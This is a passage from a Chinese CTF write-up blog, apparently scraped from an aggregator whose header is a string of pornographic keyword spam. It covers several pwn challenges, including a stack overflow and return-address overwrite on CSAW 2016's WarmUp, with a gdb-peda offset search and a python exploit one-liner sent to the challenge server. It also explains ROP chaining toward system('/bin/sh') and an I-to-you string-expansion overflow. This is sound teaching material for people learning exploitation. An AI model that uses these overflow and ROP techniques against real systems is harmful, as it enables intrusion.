日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當(dāng)前位置: 首頁 > 运维知识 > linux >内容正文

linux

linux pwn练习0x01

發(fā)布時(shí)間:2025/3/21 linux 23 豆豆
生活随笔 收集整理的這篇文章主要介紹了 linux pwn练习0x01 小編覺得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.

文章目錄

    • doubly_dangerous
    • WarmUp
      • 關(guān)于確定溢出點(diǎn)的一種方法:gdb-peda
      • 關(guān)于利用ret調(diào)用shellcode
        • 函數(shù)調(diào)用方式的基本介紹
    • pwn1
    • just_do_it

題目

doubly_dangerous


內(nèi)存中找到浮點(diǎn)數(shù)據(jù),覆蓋用來比較的局部變量v2即可。

WarmUp


以下為同一個(gè)題目兩種版本:

  • 國外版:

    棧不可執(zhí)行。
  • 國內(nèi)版:

通過覆蓋返回地址直接跳轉(zhuǎn)到函數(shù)easy,我測試失敗,接收報(bào)錯(cuò),ida單步后實(shí)際進(jìn)入easy。



查詢資料發(fā)現(xiàn)可以使用ret做nop。

  • 在文件內(nèi)存中搜尋指令retROPgadget --binary warmup | grep 'ret'

關(guān)于確定溢出點(diǎn)的一種方法:gdb-peda

$ objdump -M intel -d warmup | grep "<easy>" -A 6 000000000040060d <easy>:40060d: 55 push rbp40060e: 48 89 e5 mov rbp,rsp400611: bf 34 07 40 00 mov edi,0x400734400616: e8 b5 fe ff ff call 4004d0 <system@plt>40061b: 5d pop rbp40061c: c3 ret $ gdb -q ./warmup Reading symbols from ./warmup...(no debugging symbols found)...done. gdb-peda$ checksec CANARY : disabled FORTIFY : disabled NX : ENABLED PIE : disabled RELRO : Partial gdb-peda$ pattern create 100 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL' gdb-peda$ r Starting program: /root/warmup -Warm Up- WOW:0x40060d >AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL0x40069e <main+129>: call 0x400500 <gets@plt>0x4006a3 <main+134>: leave => 0x4006a4 <main+135>: retStopped reason: SIGSEGV 0x00000000004006a4 in main () gdb-peda$ x /gx $rsp 0x7fffffffe878: 0x4134414165414149 gdb-peda$ pattern offset 0x4134414165414149 4698452060381725001 found at offset: 72 $ python -c 'from struct import pack as p; print "A" * 72 + p("Q", 0x40060d)' | nc pwn.chal.csaw.io 8000 -Warm Up- WOW:0x40060d >FLAG{LET_US_BEGIN_CSAW_2016}

關(guān)于利用ret調(diào)用shellcode

函數(shù)調(diào)用方式的基本介紹

32位程序默認(rèn)調(diào)用函數(shù)的方式為先將參數(shù)壓入棧中,靠近c(diǎn)all指令的是第一個(gè)參數(shù)
而64位程序默認(rèn)調(diào)用函數(shù)的方式則不同
RDI 中存放第1個(gè)參數(shù)
RSI 中存放第2個(gè)參數(shù)
RDX 中存放第3個(gè)參數(shù)
RCX 中存放第4個(gè)參數(shù)
R8 中存放第5個(gè)參數(shù)
R9 中存放第6個(gè)參數(shù)
如果還有更多的參數(shù),再把過多那幾個(gè)的參數(shù)像32位程序一樣壓入棧中
然后 call
rop 的基本介紹
這里只說一下64位程序的rop,了解完64位的rop,32位的程序稍微做一下函數(shù)調(diào)用方式上的改變就好了

比如:現(xiàn)在有3個(gè)函數(shù) a(&arg1,arg2),b(arg3,arg4),c(arg1),其中b函數(shù)有棧溢出漏洞,a函數(shù)是個(gè)輸入函數(shù),c函數(shù)是system函數(shù)

我們要利用b函數(shù)的漏洞,運(yùn)行c函數(shù),而c函數(shù)需要從a函數(shù)上得到"/bin/sh"這種參數(shù)

該怎么做呢?

首先我們要知道 call 指令與 ret 指令是有兩步操作的
call指令:

  • 先把下一句指令的地址壓入棧頂 rsp+=8

  • 跳轉(zhuǎn)到call后面跟的地址上去
    ret指令:

  • 跳轉(zhuǎn)到rsp所指的地址(之前的call壓入的)

  • rsp-=8
    如果我們調(diào)用函數(shù)時(shí)不使用call指令呢?

  • 函數(shù)結(jié)束時(shí),移動(dòng)棧頂(清棧) jmp [rsp] ,rsp-=8
    程序中找 pop rsi,pop rdi,ret 這種相連的指令(不相連也可以,不要再影響rsi,rdi就好),把地址記錄下來pop_ret

    程序中找 pop rdi,ret 這種相連的指令,把地址記錄下來pop_ret2

    好,我們把c函數(shù)的rbp+8的位置寫 pop_ret 的地址

    rbp+8 pop_ret
    rbp+16 arg2
    rbp+24 arg1
    rbp+32 a函數(shù)的地址
    rbp+40 pop_ret2
    rbp+48 arg1
    rbp+56 c函數(shù)的地址
    當(dāng)b運(yùn)行結(jié)束后,會(huì)返回到 pop_ret 位置

    pop rsi rsi=arg2

    pop rdi rdi=agr1

    jmp a函數(shù)

    a函數(shù) 執(zhí)行完后 會(huì)ret 到pop_ret2

    pop rdi rdi=arg1

    然后運(yùn)行c函數(shù)

    pwn1

    • 查看文件頭

      file pwn1 objdump -f pwn1 readelf -h pwn1
    • 查看保護(hù)

      checksec pwn1
    • r2

      root@24f5cb72be5c:/ctf/work/0x01/sCTF 2016 q1-pwn1# r2 pwn1 [0x08048e10]> aaa [x] Analyze all flags starting with sym. and entry0 (aa) [x] Analyze len bytes of instructions for references (aar) [x] Analyze function calls (aac) [x] Use -AA or aaaa to perform additional experimental analysis. [ ] Constructing a function name for fcn.* and sym.func.* functions [x] Constructing a function name for fcn.* and sym.func.* functions (aan) [0x08048e10]> s main [0x0804932d]> pdf;-- main: / (fcn) sym.main 18 | sym.main (); | ; DATA XREF from 0x08048e27 (entry0) | 0x0804932d 55 push ebp | 0x0804932e 89e5 mov ebp, esp | 0x08049330 83e4f0 and esp, 0xfffffff0 | 0x08049333 e877feffff call sym.vuln | 0x08049338 b800000000 mov eax, 0 | 0x0804933d c9 leave \ 0x0804933e c3 ret [0x0804932d]> f~vuln 0x080491af 298 sym.vuln [0x0804932d]> iz #查看字符串 [0x0804932d]> ii #查看導(dǎo)入 [0x0804932d]> ia #查看導(dǎo)出函數(shù)
    • objdump

      objdump -T pwn1 #查看PLTobjdump -R pwn1 #查看GOT


    strcpy有溢出點(diǎn),但是源字符串來源有32個(gè)的限制,而開辟的棧有0x3c,覆蓋不到ret。
    原文提示為:

    I’ll convert a first person statement to a second person statement. I even wrote it in C++ to be super-safe about my strings!

    提示說明程序?qū)⒆晕医榻B的第一人稱該為第二人稱;即我是XX -> 你是xx。
    結(jié)合偽代碼猜測是將I替換為了you。那么可以通過多個(gè)I膨脹為you。
    0x3C =60; 3 * 21 + 1 = 64即可以覆蓋ret。

    just_do_it



    輸入的緩存s能接收32字節(jié),打印函數(shù)puts的參數(shù)v6與s的棧地址差為20字節(jié),那么直接覆蓋v6為全局變量flag即可。

    總結(jié)

    以上是生活随笔為你收集整理的linux pwn练习0x01的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。

    如果覺得生活随笔網(wǎng)站內(nèi)容還不錯(cuò),歡迎將生活随笔推薦給好友。